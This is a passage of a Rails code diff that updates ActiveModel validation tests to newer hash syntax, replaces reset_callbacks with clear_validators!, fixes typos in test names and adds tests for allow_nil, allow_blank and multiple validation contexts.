+ t = Topic.new(content: "this content should be long enough")
assert t.valid?
t.content = "not long enough"
@@ -333,18 +332,18 @@ class LengthValidationTest < ActiveModel::TestCase
end
def test_validates_length_of_for_fixnum
- Topic.validates_length_of(:approved, :is => 4)
+ Topic.validates_length_of(:approved, is: 4)
- t = Topic.new("title" => "uhohuhoh", "content" => "whatever", :approved => 1)
+ t = Topic.new("title" => "uhohuhoh", "content" => "whatever", approved: 1)
assert t.invalid?
assert t.errors[:approved].any?
- t = Topic.new("title" => "uhohuhoh", "content" => "whatever", :approved => 1234)
+ t = Topic.new("title" => "uhohuhoh", "content" => "whatever", approved: 1234)
assert t.valid?
end
def test_validates_length_of_for_ruby_class
- Person.validates_length_of :karma, :minimum => 5
+ Person.validates_length_of :karma, minimum: 5
p = Person.new
p.karma = "Pix"
@@ -355,11 +354,11 @@ class LengthValidationTest < ActiveModel::TestCase
p.karma = "The Smiths"
assert p.valid?
ensure
- Person.reset_callbacks(:validate)
+ Person.clear_validators!
end
def test_validates_length_of_for_infinite_maxima
- Topic.validates_length_of(:title, :within => 5..Float::INFINITY)
+ Topic.validates_length_of(:title, within: 5..Float::INFINITY)
t = Topic.new("title" => "1234")
assert t.invalid?
@@ -368,7 +367,7 @@ class LengthValidationTest < ActiveModel::TestCase
t.title = "12345"
assert t.valid?
- Topic.validates_length_of(:author_name, :maximum => Float::INFINITY)
+ Topic.validates_length_of(:author_name, maximum: Float::INFINITY)
assert t.valid?
@@ -377,13 +376,13 @@ class LengthValidationTest < ActiveModel::TestCase
end
def test_validates_length_of_using_maximum_should_not_allow_nil_when_nil_not_allowed
- Topic.validates_length_of :title, :maximum => 10, :allow_nil => false
+ Topic.validates_length_of :title, maximum: 10, allow_nil: false
t = Topic.new
assert t.invalid?
end
def test_validates_length_of_using_maximum_should_not_allow_nil_and_empty_string_when_blank_not_allowed
- Topic.validates_length_of :title, :maximum => 10, :allow_blank => false
+ Topic.validates_length_of :title, maximum: 10, allow_blank: false
t = Topic.new
assert t.invalid?
@@ -392,13 +391,13 @@ class LengthValidationTest < ActiveModel::TestCase
end
def test_validates_length_of_using_both_minimum_and_maximum_should_not_allow_nil
- Topic.validates_length_of :title, :minimum => 5, :maximum => 10
+ Topic.validates_length_of :title, minimum: 5, maximum: 10
t = Topic.new
assert t.invalid?
end
def test_validates_length_of_using_minimum_0_should_not_allow_nil
- Topic.validates_length_of :title, :minimum => 0
+ Topic.validates_length_of :title, minimum: 0
t = Topic.new
assert t.invalid?
@@ -407,11 +406,19 @@ class LengthValidationTest < ActiveModel::TestCase
end
def test_validates_length_of_using_is_0_should_not_allow_nil
- Topic.validates_length_of :title, :is => 0
+ Topic.validates_length_of :title, is: 0
t = Topic.new
assert t.invalid?
t.title = ""
assert t.valid?
end
+
+ def test_validates_with_diff_in_option
+ Topic.validates_length_of(:title, is: 5)
+ Topic.validates_length_of(:title, is: 5, if: Proc.new { false } )
+
+ assert Topic.new("title" => "david").valid?
+ assert Topic.new("title" => "david2").invalid?
+ end
end
diff --git a/activemodel/test/cases/validations/numericality_validation_test.rb b/activemodel/test/cases/validations/numericality_validation_test.rb
index 6742a4bab0..12a22f9c40 100644
--- a/activemodel/test/cases/validations/numericality_validation_test.rb
+++ b/activemodel/test/cases/validations/numericality_validation_test.rb
@@ -9,7 +9,7 @@ require 'bigdecimal'
class NumericalityValidationTest < ActiveModel::TestCase
def teardown
- Topic.reset_callbacks(:validate)
+ Topic.clear_validators!
end
NIL = [nil]
@@ -30,84 +30,99 @@ class NumericalityValidationTest < ActiveModel::TestCase
end
def test_validates_numericality_of_with_nil_allowed
- Topic.validates_numericality_of :approved, :allow_nil => true
+ Topic.validates_numericality_of :approved, allow_nil: true
invalid!(JUNK + BLANK)
valid!(NIL + FLOATS + INTEGERS + BIGDECIMAL + INFINITY)
end
def test_validates_numericality_of_with_integer_only
- Topic.validates_numericality_of :approved, :only_integer => true
+ Topic.validates_numericality_of :approved, only_integer: true
invalid!(NIL + BLANK + JUNK + FLOATS + BIGDECIMAL + INFINITY)
valid!(INTEGERS)
end
def test_validates_numericality_of_with_integer_only_and_nil_allowed
- Topic.validates_numericality_of :approved, :only_integer => true, :allow_nil => true
+ Topic.validates_numericality_of :approved, only_integer: true, allow_nil: true
invalid!(JUNK + BLANK + FLOATS + BIGDECIMAL + INFINITY)
valid!(NIL + INTEGERS)
end
+ def test_validates_numericality_of_with_integer_only_and_symbol_as_value
+ Topic.validates_numericality_of :approved, only_integer: :condition_is_true_but_its_not
+
+ invalid!(NIL + BLANK + JUNK)
+ valid!(FLOATS + INTEGERS + BIGDECIMAL + INFINITY)
+ end
+
+ def test_validates_numericality_of_with_integer_only_and_proc_as_value
+ Topic.send(:define_method, :allow_only_integers?, lambda { false })
+ Topic.validates_numericality_of :approved, only_integer: Proc.new(&:allow_only_integers?)
+
+ invalid!(NIL + BLANK + JUNK)
+ valid!(FLOATS + INTEGERS + BIGDECIMAL + INFINITY)
+ end
+
def test_validates_numericality_with_greater_than
- Topic.validates_numericality_of :approved, :greater_than => 10
+ Topic.validates_numericality_of :approved, greater_than: 10
invalid!([-10, 10], 'must be greater than 10')
valid!([11])
end
def test_validates_numericality_with_greater_than_or_equal
- Topic.validates_numericality_of :approved, :greater_than_or_equal_to => 10
+ Topic.validates_numericality_of :approved, greater_than_or_equal_to: 10
invalid!([-9, 9], 'must be greater than or equal to 10')
valid!([10])
end
def test_validates_numericality_with_equal_to
- Topic.validates_numericality_of :approved, :equal_to => 10
+ Topic.validates_numericality_of :approved, equal_to: 10
invalid!([-10, 11] + INFINITY, 'must be equal to 10')
valid!([10])
end
def test_validates_numericality_with_less_than
- Topic.validates_numericality_of :approved, :less_than => 10
+ Topic.validates_numericality_of :approved, less_than: 10
invalid!([10], 'must be less than 10')
valid!([-9, 9])
end
def test_validates_numericality_with_less_than_or_equal_to
- Topic.validates_numericality_of :approved, :less_than_or_equal_to => 10
+ Topic.validates_numericality_of :approved, less_than_or_equal_to: 10
invalid!([11], 'must be less than or equal to 10')
valid!([-10, 10])
end
def test_validates_numericality_with_odd
- Topic.validates_numericality_of :approved, :odd => true
+ Topic.validates_numericality_of :approved, odd: true
invalid!([-2, 2], 'must be odd')
valid!([-1, 1])
end
def test_validates_numericality_with_even
- Topic.validates_numericality_of :approved, :even => true
+ Topic.validates_numericality_of :approved, even: true
invalid!([-1, 1], 'must be even')
valid!([-2, 2])
end
def test_validates_numericality_with_greater_than_less_than_and_even
- Topic.validates_numericality_of :approved, :greater_than => 1, :less_than => 4, :even => true
+ Topic.validates_numericality_of :approved, greater_than: 1, less_than: 4, even: true
invalid!([1, 3, 4])
valid!([2])
end
def test_validates_numericality_with_other_than
- Topic.validates_numericality_of :approved, :other_than => 0
+ Topic.validates_numericality_of :approved, other_than: 0
invalid!([0, 0.0])
valid!([-1, 42])
@@ -115,30 +130,32 @@ class NumericalityValidationTest < ActiveModel::TestCase
def test_validates_numericality_with_proc
Topic.send(:define_method, :min_approved, lambda { 5 })
- Topic.validates_numericality_of :approved, :greater_than_or_equal_to => Proc.new {|topic| topic.min_approved }
+ Topic.validates_numericality_of :approved, greater_than_or_equal_to: Proc.new(&:min_approved)
invalid!([3, 4])
valid!([5, 6])
+ ensure
Topic.send(:remove_method, :min_approved)
end
def test_validates_numericality_with_symbol
Topic.send(:define_method, :max_approved, lambda { 5 })
- Topic.validates_numericality_of :approved, :less_than_or_equal_to => :max_approved
+ Topic.validates_numericality_of :approved, less_than_or_equal_to: :max_approved
invalid!([6])
valid!([4, 5])
+ ensure
Topic.send(:remove_method, :max_approved)
end
def test_validates_numericality_with_numeric_message
- Topic.validates_numericality_of :approved, :less_than => 4, :message => "smaller than %{count}"
+ Topic.validates_numericality_of :approved, less_than: 4, message: "smaller than %{count}"
topic = Topic.new("title" => "numeric test", "approved" => 10)
assert !topic.valid?
assert_equal ["smaller than 4"], topic.errors[:approved]
- Topic.validates_numericality_of :approved, :greater_than => 4, :message => "greater than %{count}"
+ Topic.validates_numericality_of :approved, greater_than: 4, message: "greater than %{count}"
topic = Topic.new("title" => "numeric test", "approved" => 1)
assert !topic.valid?
@@ -146,7 +163,7 @@ class NumericalityValidationTest < ActiveModel::TestCase
end
def test_validates_numericality_of_for_ruby_class
- Person.validates_numericality_of :karma, :allow_nil => false
+ Person.validates_numericality_of :karma, allow_nil: false
p = Person.new
p.karma = "Pix"
@@ -157,15 +174,15 @@ class NumericalityValidationTest < ActiveModel::TestCase
p.karma = "1234"
assert p.valid?
ensure
- Person.reset_callbacks(:validate)
+ Person.clear_validators!
end
def test_validates_numericality_with_invalid_args
- assert_raise(ArgumentError){ Topic.validates_numericality_of :approved, :greater_than_or_equal_to => "foo" }
- assert_raise(ArgumentError){ Topic.validates_numericality_of :approved, :less_than_or_equal_to => "foo" }
- assert_raise(ArgumentError){ Topic.validates_numericality_of :approved, :greater_than => "foo" }
- assert_raise(ArgumentError){ Topic.validates_numericality_of :approved, :less_than => "foo" }
- assert_raise(ArgumentError){ Topic.validates_numericality_of :approved, :equal_to => "foo" }
+ assert_raise(ArgumentError){ Topic.validates_numericality_of :approved, greater_than_or_equal_to: "foo" }
+ assert_raise(ArgumentError){ Topic.validates_numericality_of :approved, less_than_or_equal_to: "foo" }
+ assert_raise(ArgumentError){ Topic.validates_numericality_of :approved, greater_than: "foo" }
+ assert_raise(ArgumentError){ Topic.validates_numericality_of :approved, less_than: "foo" }
+ assert_raise(ArgumentError){ Topic.validates_numericality_of :approved, equal_to: "foo" }
end
private
@@ -185,7 +202,7 @@ class NumericalityValidationTest < ActiveModel::TestCase
end
def with_each_topic_approved_value(values)
- topic = Topic.new(:title => "numeric test", :content => "whatever")
+ topic = Topic.new(title: "numeric test", content: "whatever")
values.each do |value|
topic.approved = value
yield topic, value
diff --git a/activemodel/test/cases/validations/presence_validation_test.rb b/activemodel/test/cases/validations/presence_validation_test.rb
index 510c13a7c3..ecf16d1e16 100644
--- a/activemodel/test/cases/validations/presence_validation_test.rb
+++ b/activemodel/test/cases/validations/presence_validation_test.rb
@@ -8,9 +8,9 @@ require 'models/custom_reader'
class PresenceValidationTest < ActiveModel::TestCase
teardown do
- Topic.reset_callbacks(:validate)
- Person.reset_callbacks(:validate)
- CustomReader.reset_callbacks(:validate)
+ Topic.clear_validators!
+ Person.clear_validators!
+ CustomReader.clear_validators!
end
def test_validate_presences
@@ -41,7 +41,7 @@ class PresenceValidationTest < ActiveModel::TestCase
end
def test_validates_acceptance_of_with_custom_error_using_quotes
- Person.validates_presence_of :karma, :message => "This string contains 'single' and \"double\" quotes"
+ Person.validates_presence_of :karma, message: "This string contains 'single' and \"double\" quotes"
p = Person.new
assert p.invalid?
assert_equal "This string contains 'single' and \"double\" quotes", p.errors[:karma].last
@@ -70,4 +70,38 @@ class PresenceValidationTest < ActiveModel::TestCase
p[:karma] = "Cold"
assert p.valid?
end
+
+ def test_validates_presence_of_with_allow_nil_option
+ Topic.validates_presence_of(:title, allow_nil: true)
+
+ t = Topic.new(title: "something")
+ assert t.valid?, t.errors.full_messages
+
+ t.title = ""
+ assert t.invalid?
+ assert_equal ["can't be blank"], t.errors[:title]
+
+ t.title = " "
+ assert t.invalid?, t.errors.full_messages
+ assert_equal ["can't be blank"], t.errors[:title]
+
+ t.title = nil
+ assert t.valid?, t.errors.full_messages
+ end
+
+ def test_validates_presence_of_with_allow_blank_option
+ Topic.validates_presence_of(:title, allow_blank: true)
+
+ t = Topic.new(title: "something")
+ assert t.valid?, t.errors.full_messages
+
+ t.title = ""
+ assert t.valid?, t.errors.full_messages
+
+ t.title = " "
+ assert t.valid?, t.errors.full_messages
+
+ t.title = nil
+ assert t.valid?, t.errors.full_messages
+ end
end
diff --git a/activemodel/test/cases/validations/validates_test.rb b/activemodel/test/cases/validations/validates_test.rb
index 144532d6f4..8d4b74ee49 100644
--- a/activemodel/test/cases/validations/validates_test.rb
+++ b/activemodel/test/cases/validations/validates_test.rb
@@ -3,7 +3,6 @@ require 'cases/helper'
require 'models/person'
require 'models/topic'
require 'models/person_with_validator'
-require 'validators/email_validator'
require 'validators/namespace/email_validator'
class ValidatesTest < ActiveModel::TestCase
@@ -11,26 +10,26 @@ class ValidatesTest < ActiveModel::TestCase
teardown :reset_callbacks
def reset_callbacks
- Person.reset_callbacks(:validate)
- Topic.reset_callbacks(:validate)
- PersonWithValidator.reset_callbacks(:validate)
+ Person.clear_validators!
+ Topic.clear_validators!
+ PersonWithValidator.clear_validators!
end
def test_validates_with_messages_empty
- Person.validates :title, :presence => {:message => "" }
+ Person.validates :title, presence: { message: "" }
person = Person.new
assert !person.valid?, 'person should not be valid.'
end
def test_validates_with_built_in_validation
- Person.validates :title, :numericality => true
+ Person.validates :title, numericality: true
person = Person.new
person.valid?
assert_equal ['is not a number'], person.errors[:title]
end
def test_validates_with_attribute_specified_as_string
- Person.validates "title", :numericality => true
+ Person.validates "title", numericality: true
person = Person.new
person.valid?
assert_equal ['is not a number'], person.errors[:title]
@@ -41,14 +40,14 @@ class ValidatesTest < ActiveModel::TestCase
end
def test_validates_with_built_in_validation_and_options
- Person.validates :salary, :numericality => { :message => 'my custom message' }
+ Person.validates :salary, numericality: { message: 'my custom message' }
person = Person.new
person.valid?
assert_equal ['my custom message'], person.errors[:salary]
end
def test_validates_with_validator_class
- Person.validates :karma, :email => true
+ Person.validates :karma, email: true
person = Person.new
person.valid?
assert_equal ['is not an email'], person.errors[:karma]
@@ -62,33 +61,33 @@ class ValidatesTest < ActiveModel::TestCase
end
def test_validates_with_if_as_local_conditions
- Person.validates :karma, :presence => true, :email => { :unless => :condition_is_true }
+ Person.validates :karma, presence: true, email: { unless: :condition_is_true }
person = Person.new
person.valid?
assert_equal ["can't be blank"], person.errors[:karma]
end
def test_validates_with_if_as_shared_conditions
- Person.validates :karma, :presence => true, :email => true, :if => :condition_is_true
+ Person.validates :karma, presence: true, email: true, if: :condition_is_true
person = Person.new
person.valid?
assert_equal ["can't be blank", "is not an email"], person.errors[:karma].sort
end
def test_validates_with_unless_shared_conditions
- Person.validates :karma, :presence => true, :email => true, :unless => :condition_is_true
+ Person.validates :karma, presence: true, email: true, unless: :condition_is_true
person = Person.new
assert person.valid?
end
def test_validates_with_allow_nil_shared_conditions
- Person.validates :karma, :length => { :minimum => 20 }, :email => true, :allow_nil => true
+ Person.validates :karma, length: { minimum: 20 }, email: true, allow_nil: true
person = Person.new
assert person.valid?
end
def test_validates_with_regexp
- Person.validates :karma, :format => /positive|negative/
+ Person.validates :karma, format: /positive|negative/
person = Person.new
assert person.invalid?
assert_equal ['is invalid'], person.errors[:karma]
@@ -97,7 +96,7 @@ class ValidatesTest < ActiveModel::TestCase
end
def test_validates_with_array
- Person.validates :gender, :inclusion => %w(m f)
+ Person.validates :gender, inclusion: %w(m f)
person = Person.new
assert person.invalid?
assert_equal ['is not included in the list'], person.errors[:gender]
@@ -106,7 +105,7 @@ class ValidatesTest < ActiveModel::TestCase
end
def test_validates_with_range
- Person.validates :karma, :length => 6..20
+ Person.validates :karma, length: 6..20
person = Person.new
assert person.invalid?
assert_equal ['is too short (minimum is 6 characters)'], person.errors[:karma]
@@ -115,25 +114,25 @@ class ValidatesTest < ActiveModel::TestCase
end
def test_validates_with_validator_class_and_options
- Person.validates :karma, :email => { :message => 'my custom message' }
+ Person.validates :karma, email: { message: 'my custom message' }
person = Person.new
person.valid?
assert_equal ['my custom message'], person.errors[:karma]
end
def test_validates_with_unknown_validator
- assert_raise(ArgumentError) { Person.validates :karma, :unknown => true }
+ assert_raise(ArgumentError) { Person.validates :karma, unknown: true }
end
def test_validates_with_included_validator
- PersonWithValidator.validates :title, :presence => true
+ PersonWithValidator.validates :title, presence: true
person = PersonWithValidator.new
person.valid?
assert_equal ['Local validator'], person.errors[:title]
end
def test_validates_with_included_validator_and_options
- PersonWithValidator.validates :title, :presence => { :custom => ' please' }
+ PersonWithValidator.validates :title, presence: { custom: ' please' }
person = PersonWithValidator.new
person.valid?
assert_equal ['Local validator please'], person.errors[:title]
@@ -141,7 +140,7 @@ class ValidatesTest < ActiveModel::TestCase
def test_validates_with_included_validator_and_wildcard_shortcut
# Shortcut for PersonWithValidator.validates :title, like: { with: "Mr." }
- PersonWithValidator.validates :title, :like => "Mr."
+ PersonWithValidator.validates :title, like: "Mr."
person = PersonWithValidator.new
person.title = "Ms. Pacman"
person.valid?
@@ -149,7 +148,7 @@ class ValidatesTest < ActiveModel::TestCase
end
def test_defining_extra_default_keys_for_validates
- Topic.validates :title, :confirmation => true, :message => 'Y U NO CONFIRM'
+ Topic.validates :title, confirmation: true, message: 'Y U NO CONFIRM'
topic = Topic.new
topic.title = "What's happening"
topic.title_confirmation = "Not this"
diff --git a/activemodel/test/cases/validations/validations_context_test.rb b/activemodel/test/cases/validations/validations_context_test.rb
index 15a49e38dd..005bf118c6 100644
--- a/activemodel/test/cases/validations/validations_context_test.rb
+++ b/activemodel/test/cases/validations/validations_context_test.rb
@@ -4,10 +4,8 @@ require 'cases/helper'
require 'models/topic'
class ValidationsContextTest < ActiveModel::TestCase
-
def teardown
- Topic.reset_callbacks(:validate)
- Topic._validators.clear
+ Topic.clear_validators!
end
ERROR_MESSAGE = "Validation error from validator"
@@ -18,22 +16,35 @@ class ValidationsContextTest < ActiveModel::TestCase
end
end
- test "with a class that adds errors on update and validating a new model with no arguments" do
- Topic.validates_with(ValidatorThatAddsErrors, :on => :create)
+ test "with a class that adds errors on create and validating a new model with no arguments" do
+ Topic.validates_with(ValidatorThatAddsErrors, on: :create)
topic = Topic.new
- assert topic.valid?, "Validation doesn't run on create if 'on' is set to update"
+ assert topic.valid?, "Validation doesn't run on valid? if 'on' is set to create"
end
test "with a class that adds errors on update and validating a new model" do
- Topic.validates_with(ValidatorThatAddsErrors, :on => :update)
+ Topic.validates_with(ValidatorThatAddsErrors, on: :update)
topic = Topic.new
assert topic.valid?(:create), "Validation doesn't run on create if 'on' is set to update"
end
test "with a class that adds errors on create and validating a new model" do
- Topic.validates_with(ValidatorThatAddsErrors, :on => :create)
+ Topic.validates_with(ValidatorThatAddsErrors, on: :create)
topic = Topic.new
assert topic.invalid?(:create), "Validation does run on create if 'on' is set to create"
assert topic.errors[:base].include?(ERROR_MESSAGE)
end
-end \ No newline at end of file
+
+ test "with a class that adds errors on multiple contexts and validating a new model" do
+ Topic.validates_with(ValidatorThatAddsErrors, on: [:context1, :context2])
+
+ topic = Topic.new
+ assert topic.valid?, "Validation ran with no context given when 'on' is set to context1 and context2"
+
+ assert topic.invalid?(:context1), "Validation did not run on context1 when 'on' is set to context1 and context2"
+ assert topic.errors[:base].include?(ERROR_MESSAGE)
+
+ assert topic.invalid?(:context2), "Validation did not run on context2 when 'on' is set to context1 and context2"
+ assert topic.errors[:base].include?(ERROR_MESSAGE)
+ end
+end
diff --git a/activemodel/test/cases/validations/with_validation_test.rb b/activemodel/test/cases/validations/with_validation_test.rb
index 457f553661..736c2deea8 100644
--- a/activemodel/test/cases/validations/with_validation_test.rb
+++ b/activemodel/test/cases/validations/with_validation_test.rb
@@ -6,8 +6,7 @@ require 'models/topic'
class ValidatesWithTest < ActiveModel::TestCase
def teardown
- Topic.reset_callbacks(:validate)
- Topic._validators.clear
+ Topic.clear_validators!
end
ERROR_MESSAGE = "Validation error from validator"
@@ -50,7 +49,7 @@ class ValidatesWithTest < ActiveModel::TestCase
end
end
- test "vaidation with class that adds errors" do
+ test "validation with class that adds errors" do
Topic.validates_with(ValidatorThatAddsErrors)
topic = Topic.new
assert topic.invalid?, "A class that adds errors causes the record to be invalid"
@@ -72,26 +71,26 @@ class ValidatesWithTest < ActiveModel::TestCase
end
test "with if statements that return false" do
- Topic.validates_with(ValidatorThatAddsErrors, :if => "1 == 2")
+ Topic.validates_with(ValidatorThatAddsErrors, if: "1 == 2")
topic = Topic.new
assert topic.valid?
end
test "with if statements that return true" do
- Topic.validates_with(ValidatorThatAddsErrors, :if => "1 == 1")
+ Topic.validates_with(ValidatorThatAddsErrors, if: "1 == 1")
topic = Topic.new
assert topic.invalid?
assert topic.errors[:base].include?(ERROR_MESSAGE)
end
test "with unless statements that return true" do
- Topic.validates_with(ValidatorThatAddsErrors, :unless => "1 == 1")
+ Topic.validates_with(ValidatorThatAddsErrors, unless: "1 == 1")
topic = Topic.new
assert topic.valid?
end
test "with unless statements that returns false" do
- Topic.validates_with(ValidatorThatAddsErrors, :unless => "1 == 2")
+ Topic.validates_with(ValidatorThatAddsErrors, unless: "1 == 2")
topic = Topic.new
assert topic.invalid?
assert topic.errors[:base].include?(ERROR_MESSAGE)
@@ -100,45 +99,23 @@ class ValidatesWithTest < ActiveModel::TestCase
test "passes all configuration options to the validator class" do
topic = Topic.new
validator = mock()
- validator.expects(:new).with(:foo => :bar, :if => "1 == 1").returns(validator)
+ validator.expects(:new).with(foo: :bar, if: "1 == 1", class: Topic).returns(validator)
validator.expects(:validate).with(topic)
- Topic.validates_with(validator, :if => "1 == 1", :foo => :bar)
- assert topic.valid?
- end
-
- test "calls setup method of validator passing in self when validator has setup method" do
- topic = Topic.new
- validator = stub_everything
- validator.stubs(:new).returns(validator)
- validator.stubs(:validate)
- validator.stubs(:respond_to?).with(:setup).returns(true)
- validator.expects(:setup).with(Topic).once
- Topic.validates_with(validator)
- assert topic.valid?
- end
-
- test "doesn't call setup method of validator when validator has no setup method" do
- topic = Topic.new
- validator = stub_everything
- validator.stubs(:new).returns(validator)
- validator.stubs(:validate)
- validator.stubs(:respond_to?).with(:setup).returns(false)
- validator.expects(:setup).with(Topic).never
- Topic.validates_with(validator)
+ Topic.validates_with(validator, if: "1 == 1", foo: :bar)
assert topic.valid?
end
test "validates_with with options" do
- Topic.validates_with(ValidatorThatValidatesOptions, :field => :first_name)
+ Topic.validates_with(ValidatorThatValidatesOptions, field: :first_name)
topic = Topic.new
assert topic.invalid?
assert topic.errors[:base].include?(ERROR_MESSAGE)
end
test "validates_with each validator" do
- Topic.validates_with(ValidatorPerEachAttribute, :attributes => [:title, :content])
- topic = Topic.new :title => "Title", :content => "Content"
+ Topic.validates_with(ValidatorPerEachAttribute, attributes: [:title, :content])
+ topic = Topic.new title: "Title", content: "Content"
assert topic.invalid?
assert_equal ["Value is Title"], topic.errors[:title]
assert_equal ["Value is Content"], topic.errors[:content]
@@ -146,7 +123,7 @@ class ValidatesWithTest < ActiveModel::TestCase
test "each validator checks validity" do
assert_raise RuntimeError do
- Topic.validates_with(ValidatorCheckValidity, :attributes => [:title])
+ Topic.validates_with(ValidatorCheckValidity, attributes: [:title])
end
end
@@ -157,25 +134,25 @@ class ValidatesWithTest < ActiveModel::TestCase
end
test "each validator skip nil values if :allow_nil is set to true" do
- Topic.validates_with(ValidatorPerEachAttribute, :attributes => [:title, :content], :allow_nil => true)
- topic = Topic.new :content => ""
+ Topic.validates_with(ValidatorPerEachAttribute, attributes: [:title, :content], allow_nil: true)
+ topic = Topic.new content: ""
assert topic.invalid?
assert topic.errors[:title].empty?
assert_equal ["Value is "], topic.errors[:content]
end
test "each validator skip blank values if :allow_blank is set to true" do
- Topic.validates_with(ValidatorPerEachAttribute, :attributes => [:title, :content], :allow_blank => true)
- topic = Topic.new :content => ""
+ Topic.validates_with(ValidatorPerEachAttribute, attributes: [:title, :content], allow_blank: true)
+ topic = Topic.new content: ""
assert topic.valid?
assert topic.errors[:title].empty?
assert topic.errors[:content].empty?
end
test "validates_with can validate with an instance method" do
- Topic.validates :title, :with => :my_validation
+ Topic.validates :title, with: :my_validation
- topic = Topic.new :title => "foo"
+ topic = Topic.new title: "foo"
assert topic.valid?
assert topic.errors[:title].empty?
@@ -185,9 +162,9 @@ class ValidatesWithTest < ActiveModel::TestCase
end
test "optionally pass in the attribute being validated when validating with an instance method" do
- Topic.validates :title, :content, :with => :my_validation_with_arg
+ Topic.validates :title, :content, with: :my_validation_with_arg
- topic = Topic.new :title => "foo"
+ topic = Topic.new title: "foo"
assert !topic.valid?
assert topic.errors[:title].empty?
assert_equal ['is missing'], topic.errors[:content]
diff --git a/activemodel/test/cases/validations_test.rb b/activemodel/test/cases/validations_test.rb
index a9d32808da..98e0266d7e 100644
--- a/activemodel/test/cases/validations_test.rb
+++ b/activemodel/test/cases/validations_test.rb
@@ -4,33 +4,25 @@ require 'cases/helper'
require 'models/topic'
require 'models/reply'
require 'models/custom_reader'
-require 'models/automobile'
require 'active_support/json'
require 'active_support/xml_mini'
class ValidationsTest < ActiveModel::TestCase
-
class CustomStrictValidationException < StandardError; end
- def setup
- Topic._validators.clear
- end
-
- # Most of the tests mess with the validations of Topic, so lets repair it all the time.
- # Other classes we mess with will be dealt with in the specific tests
def teardown
- Topic.reset_callbacks(:validate)
+ Topic.clear_validators!
end
def test_single_field_validation
r = Reply.new
r.title = "There's no content!"
- assert r.invalid?, "A reply without content shouldn't be saveable"
+ assert r.invalid?, "A reply without content should be invalid"
assert r.after_validation_performed, "after_validation callback should be called"
r.content = "Messa content!"
- assert r.valid?, "A reply with content should be saveable"
+ assert r.valid?, "A reply with content should be valid"
assert r.after_validation_performed, "after_validation callback should be called"
end
@@ -146,6 +138,8 @@ class ValidationsTest < ActiveModel::TestCase
assert_equal 4, hits
assert_equal %w(gotcha gotcha), t.errors[:title]
assert_equal %w(gotcha gotcha), t.errors[:content]
+ ensure
+ CustomReader.clear_validators!
end
def test_validate_block
@@ -166,12 +160,21 @@ class ValidationsTest < ActiveModel::TestCase
def test_invalid_validator
Topic.validate :i_dont_exist
- assert_raise(NameError) do
+ assert_raises(NoMethodError) do
t = Topic.new
t.valid?
end
end
+ def test_invalid_options_to_validate
+ error = assert_raises(ArgumentError) do
+ # A common mistake -- we meant to call 'validates'
+ Topic.validate :title, presence: true
+ end
+ message = 'Unknown key: :presence. Valid keys are: :on, :if, :unless. Perhaps you meant to call `validates` instead of `validate`?'
+ assert_equal message, error.message
+ end
+
def test_errors_conversions
Topic.validates_presence_of %w(title content)
t = Topic.new
@@ -190,16 +193,16 @@ class ValidationsTest < ActiveModel::TestCase
def test_validation_order
Topic.validates_presence_of :title
- Topic.validates_length_of :title, :minimum => 2
+ Topic.validates_length_of :title, minimum: 2
t = Topic.new("title" => "")
assert t.invalid?
assert_equal "can't be blank", t.errors["title"].first
Topic.validates_presence_of :title, :author_name
Topic.validate {errors.add('author_email_address', 'will never be valid')}
- Topic.validates_length_of :title, :content, :minimum => 2
+ Topic.validates_length_of :title, :content, minimum: 2
- t = Topic.new :title => ''
+ t = Topic.new title: ''
assert t.invalid?
assert_equal :title, key = t.errors.keys[0]
@@ -213,10 +216,10 @@ class ValidationsTest < ActiveModel::TestCase
assert_equal 'is too short (minimum is 2 characters)', t.errors[key][0]
end
- def test_validaton_with_if_and_on
- Topic.validates_presence_of :title, :if => Proc.new{|x| x.author_name = "bad"; true }, :on => :update
+ def test_validation_with_if_and_on
+ Topic.validates_presence_of :title, if: Proc.new{|x| x.author_name = "bad"; true }, on: :update
- t = Topic.new(:title => "")
+ t = Topic.new(title: "")
# If block should not fire
assert t.valid?
@@ -239,7 +242,7 @@ class ValidationsTest < ActiveModel::TestCase
end
def test_validation_with_message_as_proc
- Topic.validates_presence_of(:title, :message => proc { "no blanks here".upcase })
+ Topic.validates_presence_of(:title, message: proc { "no blanks here".upcase })
t = Topic.new
assert t.invalid?
@@ -248,7 +251,7 @@ class ValidationsTest < ActiveModel::TestCase
def test_list_of_validators_for_model
Topic.validates_presence_of :title
- Topic.validates_length_of :title, :minimum => 2
+ Topic.validates_length_of :title, minimum: 2
assert_equal 2, Topic.validators.count
assert_equal [:presence, :length], Topic.validators.map(&:kind)
@@ -256,7 +259,7 @@ class ValidationsTest < ActiveModel::TestCase
def test_list_of_validators_on_an_attribute
Topic.validates_presence_of :title, :content
- Topic.validates_length_of :title, :minimum => 2
+ Topic.validates_length_of :title, minimum: 2
assert_equal 2, Topic.validators_on(:title).count
assert_equal [:presence, :length], Topic.validators_on(:title).map(&:kind)
@@ -265,13 +268,13 @@ class ValidationsTest < ActiveModel::TestCase
end
def test_accessing_instance_of_validator_on_an_attribute
- Topic.validates_length_of :title, :minimum => 10
+ Topic.validates_length_of :title, minimum: 10
assert_equal 10, Topic.validators_on(:title).first.options[:minimum]
end
def test_list_of_validators_on_multiple_attributes
- Topic.validates :title, :length => { :minimum => 10 }
- Topic.validates :author_name, :presence => true, :format => /a/
+ Topic.validates :title, length: { minimum: 10 }
+ Topic.validates :author_name, presence: true, format: /a/
validators = Topic.validators_on(:title, :author_name)
@@ -279,73 +282,88 @@ class ValidationsTest < ActiveModel::TestCase
ActiveModel::Validations::FormatValidator,
ActiveModel::Validations::LengthValidator,
ActiveModel::Validations::PresenceValidator
- ], validators.map { |v| v.class }.sort_by { |c| c.to_s }
+ ], validators.map(&:class).sort_by(&:to_s)
end
def test_list_of_validators_will_be_empty_when_empty
- Topic.validates :title, :length => { :minimum => 10 }
+ Topic.validates :title, length: { minimum: 10 }
assert_equal [], Topic.validators_on(:author_name)
end
def test_validations_on_the_instance_level
- auto = Automobile.new
+ Topic.validates :title, :author_name, presence: true
+ Topic.validates :content, length: { minimum: 10 }
- assert auto.invalid?
- assert_equal 2, auto.errors.size
+ topic = Topic.new
+ assert topic.invalid?
+ assert_equal 3, topic.errors.size
+
+ topic.title = 'Some Title'
+ topic.author_name = 'Some Author'
+ topic.content = 'Some Content Whose Length is more than 10.'
+ assert topic.valid?
+ end
+
+ def test_validate
+ Topic.validate do
+ validates_presence_of :title, :author_name
+ validates_length_of :content, minimum: 10
+ end
- auto.make = 'Toyota'
- auto.model = 'Corolla'
+ topic = Topic.new
+ assert_empty topic.errors
- assert auto.valid?
+ topic.validate
+ assert_not_empty topic.errors
end
def test_strict_validation_in_validates
- Topic.validates :title, :strict => true, :presence => true
